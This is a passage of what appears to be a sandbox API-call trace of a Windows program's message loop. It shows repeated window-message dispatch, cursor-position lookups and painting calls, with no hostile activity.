Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.361] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.361] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.361] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.361] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.362] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.362] GetCapture () returned 0x0 [0276.362] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0276.362] WindowFromPoint (Point=0x352) returned 0x1035a [0276.362] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2240352) returned 0x1 [0276.362] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0276.362] GetCurrentProcessId () returned 0x8d0 [0276.362] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.362] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0276.362] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xd70153) returned 0x0 [0276.362] GetKeyState (nVirtKey=18) returned 1 [0276.362] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.362] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=548)) returned 1 [0276.362] WindowFromPoint (Point=0x352) returned 0x1035a [0276.362] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2240352) returned 0x1 [0276.362] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.362] GetCurrentProcessId () returned 0x8d0 [0276.362] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.362] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.363] GetCapture () returned 0x0 [0276.363] WaitMessage () returned 1 [0276.376] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.376] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.376] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.376] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.376] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.378] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=558)) returned 1 [0276.378] WindowFromPoint (Point=0x352) returned 0x1035a [0276.378] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x22e0352) returned 0x1 [0276.378] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.378] GetCurrentProcessId () returned 0x8d0 [0276.378] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.378] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.378] GetCapture () returned 0x0 [0276.378] WaitMessage () returned 1 [0276.378] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.378] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x22e0352) returned 0x1 [0276.379] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=850, y=558)) returned 1 [0276.379] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0276.379] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.379] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.379] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.379] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.379] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.379] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.379] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.379] GetCapture () returned 0x0 [0276.379] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0276.379] WindowFromPoint (Point=0x352) returned 0x1035a [0276.379] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x22e0352) returned 0x1 [0276.379] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0276.379] GetCurrentProcessId () returned 0x8d0 [0276.379] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.379] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0276.380] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xe10153) returned 0x0 [0276.380] GetKeyState (nVirtKey=18) returned 1 [0276.380] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.380] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=558)) returned 1 [0276.380] WindowFromPoint (Point=0x352) returned 0x1035a [0276.380] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x22e0352) returned 0x1 [0276.380] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.380] GetCurrentProcessId () returned 0x8d0 [0276.380] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.380] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.380] GetCapture () returned 0x0 [0276.380] WaitMessage () returned 1 [0276.405] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.405] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2380352) returned 0x1 [0276.405] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=850, y=568)) returned 1 [0276.405] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0276.405] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.405] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.405] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.405] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.406] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.406] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.406] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.406] GetCapture () returned 0x0 [0276.406] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0276.406] WindowFromPoint (Point=0x352) returned 0x1035a [0276.406] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2380352) returned 0x1 [0276.406] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0276.406] GetCurrentProcessId () returned 0x8d0 [0276.406] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.406] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0276.406] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xeb0153) returned 0x0 [0276.406] GetKeyState (nVirtKey=18) returned 1 [0276.406] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.406] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=568)) returned 1 [0276.407] WindowFromPoint (Point=0x352) returned 0x1035a [0276.407] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2380352) returned 0x1 [0276.407] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.407] GetCurrentProcessId () returned 0x8d0 [0276.407] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.407] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.407] GetCapture () returned 0x0 [0276.407] WaitMessage () returned 1 [0276.438] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.439] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2420352) returned 0x1 [0276.439] GetCursorPos (in: lpPoint=0x18fc8c | out: lpPoint=0x18fc8c*(x=850, y=578)) returned 1 [0276.439] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fc74 | out: lpPoint=0x18fc74) returned 1 [0276.439] PtInRect (lprc=0x18fc68, pt=0x17b) returned 0 [0276.439] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0xc0060, lParam=0x2000001) returned 0x0 [0276.439] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.439] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.439] GetCapture () returned 0x0 [0276.439] PtInRect (lprc=0x18fd3c, pt=0x17b) returned 0 [0276.439] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd30 | out: lpPoint=0x18fd30) returned 1 [0276.439] WindowFromPoint (Point=0x352) returned 0xc0060 [0276.439] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2420352) returned 0x1 [0276.439] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fd10 | out: lpdwProcessId=0x18fd10) returned 0x8cc [0276.439] GetCurrentProcessId () returned 0x8d0 [0276.439] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0276.439] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fd14 | out: lpPoint=0x18fd14) returned 1 [0276.440] PtInRect (lprc=0x18fd08, pt=0x17b) returned 0 [0276.440] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x200, wParam=0x0, lParam=0x13d017b) returned 0x0 [0276.440] GetKeyState (nVirtKey=18) returned 1 [0276.440] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.440] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.440] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.440] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.440] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.440] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=578)) returned 1 [0276.440] WindowFromPoint (Point=0x350) returned 0xc0060 [0276.440] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x2420350) returned 0x1 [0276.440] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.441] GetCurrentProcessId () returned 0x8d0 [0276.441] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0276.441] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.441] PtInRect (lprc=0x18fed0, pt=0x179) returned 0 [0276.441] GetCapture () returned 0x0 [0276.441] WaitMessage () returned 1 [0276.455] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.455] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24c0352) returned 0x1 [0276.455] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=850, y=588)) returned 1 [0276.455] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0276.456] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0276.456] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0276.456] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.456] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.456] GetCapture () returned 0x0 [0276.456] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0276.456] WindowFromPoint (Point=0x352) returned 0x10340 [0276.456] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x24c0352) returned 0x1 [0276.456] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0276.456] GetCurrentProcessId () returned 0x8d0 [0276.456] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.456] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0276.456] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x34) returned 0x0 [0276.456] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f958 | out: lpdwProcessId=0x18f958) returned 0x8cc [0276.456] GetCurrentProcessId () returned 0x8d0 [0276.456] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.456] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbc8) returned 0x0 [0276.456] GetKeyState (nVirtKey=18) returned 1 [0276.457] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.457] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.457] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.457] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.457] GetClientRect (in: hWnd=0x10340, lpRect=0x18f8c8 | out: lpRect=0x18f8c8) returned 1 [0276.457] FillRect (hDC=0x1f01019b, lprc=0x18f8c8, hbr=0xe100186) returned 1 [0276.457] IsIconic (hWnd=0xc0060) returned 0 [0276.457] IsIconic (hWnd=0xc0060) returned 0 [0276.457] GetClientRect (in: hWnd=0xc0060, lpRect=0x18f7a8 | out: lpRect=0x18f7a8) returned 1 [0276.457] FillRect (hDC=0x3d01069e, lprc=0x18f7a8, hbr=0xe100186) returned 1 [0276.457] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x318, wParam=0x3d01069e, lParam=0x4) returned 0x0 [0276.458] SendMessageA (hWnd=0x10340, Msg=0xbd35, wParam=0x3d01069e, lParam=0x10340) returned 0xe100186 [0276.458] GetSysColor (nIndex=8) returned 0x0 [0276.458] SetTextColor (hdc=0x3d01069e, color=0x0) returned 0x0 [0276.458] GetSysColor (nIndex=15) returned 0xf0f0f0 [0276.458] SetBkColor (hdc=0x3d01069e, color=0xf0f0f0) returned 0xf0f0f0 [0276.458] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0276.458] GetCurrentProcessId () returned 0x8d0 [0276.458] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.458] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0276.458] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f5d0 | out: lpdwProcessId=0x18f5d0) returned 0x8cc [0276.458] GetCurrentProcessId () returned 0x8d0 [0276.458] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.458] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18f8b8) returned 0x0 [0276.458] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x7 [0276.458] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x8, lParam=0x18e78c) returned 0x7 [0276.458] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xd, wParam=0x10, lParam=0x18e764) returned 0x7 [0276.459] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.459] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=588)) returned 1 [0276.459] WindowFromPoint (Point=0x351) returned 0xc0060 [0276.459] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x84, wParam=0x0, lParam=0x24b0351) returned 0x1 [0276.459] GetWindowThreadProcessId (in: hWnd=0xc0060, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.459] GetCurrentProcessId () returned 0x8d0 [0276.459] GetPropA (hWnd=0xc0060, lpString=0xc167) returned 0x2c84fd8 [0276.459] ClientToScreen (in: hWnd=0xc0060, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.459] PtInRect (lprc=0x18fed0, pt=0x17a) returned 0 [0276.459] GetCapture () returned 0x0 [0276.460] WaitMessage () returned 1 [0276.472] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.472] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2500352) returned 0x1 [0276.473] GetCursorPos (in: lpPoint=0x18fc98 | out: lpPoint=0x18fc98*(x=850, y=592)) returned 1 [0276.473] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fc80 | out: lpPoint=0x18fc80) returned 1 [0276.473] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0276.473] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x10340, lParam=0x2000001) returned 0x0 [0276.473] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.473] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.473] GetCapture () returned 0x0 [0276.473] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd3c | out: lpPoint=0x18fd3c) returned 1 [0276.473] WindowFromPoint (Point=0x352) returned 0x10340 [0276.473] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2500352) returned 0x1 [0276.473] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fd1c | out: lpdwProcessId=0x18fd1c) returned 0x8cc [0276.473] GetCurrentProcessId () returned 0x8d0 [0276.473] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.474] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fd20 | out: lpPoint=0x18fd20) returned 1 [0276.474] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x200, wParam=0x0, lParam=0x40034) returned 0x0 [0276.474] GetKeyState (nVirtKey=18) returned 1 [0276.474] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.474] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=592)) returned 1 [0276.474] WindowFromPoint (Point=0x352) returned 0x10340 [0276.474] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2500352) returned 0x1 [0276.474] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.474] GetCurrentProcessId () returned 0x8d0 [0276.474] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.474] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.474] GetCapture () returned 0x0 [0276.474] WaitMessage () returned 1 [0276.517] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.517] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.517] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.517] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xf, wParam=0x0, lParam=0x0) returned 0x0 [0276.517] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 0 [0276.518] GetCursorPos (in: lpPoint=0x18ff34 | out: lpPoint=0x18ff34*(x=850, y=592)) returned 1 [0276.518] WindowFromPoint (Point=0x354) returned 0x10340 [0276.518] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x84, wParam=0x0, lParam=0x2510354) returned 0x1 [0276.518] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18fed8 | out: lpdwProcessId=0x18fed8) returned 0x8cc [0276.518] GetCurrentProcessId () returned 0x8d0 [0276.518] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.518] ClientToScreen (in: hWnd=0x10340, lpPoint=0x18fedc | out: lpPoint=0x18fedc) returned 1 [0276.518] GetCapture () returned 0x0 [0276.518] WaitMessage () returned 1 [0276.548] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.548] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2370352) returned 0x1 [0276.548] GetCursorPos (in: lpPoint=0x18fca4 | out: lpPoint=0x18fca4*(x=850, y=567)) returned 1 [0276.548] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fc8c | out: lpPoint=0x18fc8c) returned 1 [0276.548] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.548] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x40338, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.548] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xb0168, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.548] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x60050, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.549] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0xc0060, Msg=0x20, wParam=0x1035a, lParam=0x2000001) returned 0x0 [0276.549] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.549] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.549] GetCapture () returned 0x0 [0276.549] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd48 | out: lpPoint=0x18fd48) returned 1 [0276.549] WindowFromPoint (Point=0x352) returned 0x1035a [0276.549] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x84, wParam=0x0, lParam=0x2370352) returned 0x1 [0276.549] GetWindowThreadProcessId (in: hWnd=0x1035a, lpdwProcessId=0x18fd28 | out: lpdwProcessId=0x18fd28) returned 0x8cc [0276.549] GetCurrentProcessId () returned 0x8d0 [0276.549] GetPropA (hWnd=0x1035a, lpString=0xc167) returned 0x2c74598 [0276.549] ClientToScreen (in: hWnd=0x1035a, lpPoint=0x18fd2c | out: lpPoint=0x18fd2c) returned 1 [0276.549] CallWindowProcA (lpPrevWndFunc=0x405e1c, hWnd=0x1035a, Msg=0x200, wParam=0x0, lParam=0xea0153) returned 0x0 [0276.549] GetKeyState (nVirtKey=18) returned 1 [0276.549] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.549] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.549] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.549] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0x2a3, wParam=0x0, lParam=0x0) returned 0x0 [0276.550] GetWindowThreadProcessId (in: hWnd=0x10340, lpdwProcessId=0x18f968 | out: lpdwProcessId=0x18f968) returned 0x8cc [0276.550] GetCurrentProcessId () returned 0x8d0 [0276.550] GetPropA (hWnd=0x10340, lpString=0xc167) returned 0x2c86b08 [0276.550] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, Msg=0xbc4e, wParam=0x10340, lParam=0x18fbd8) returned 0x0 [0276.550] PeekMessageA (in: lpMsg=0x18ff1c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ff1c) returned 1 [0276.550] TranslateMessage (lpMsg=0x18ff1c) returned 0 [0276.550] DispatchMessageA (lpMsg=0x18ff1c) returned 0x0 [0276.550] CallWindowProcA (lpPrevWndFunc=0xffff00b1, hWnd=0x10340, 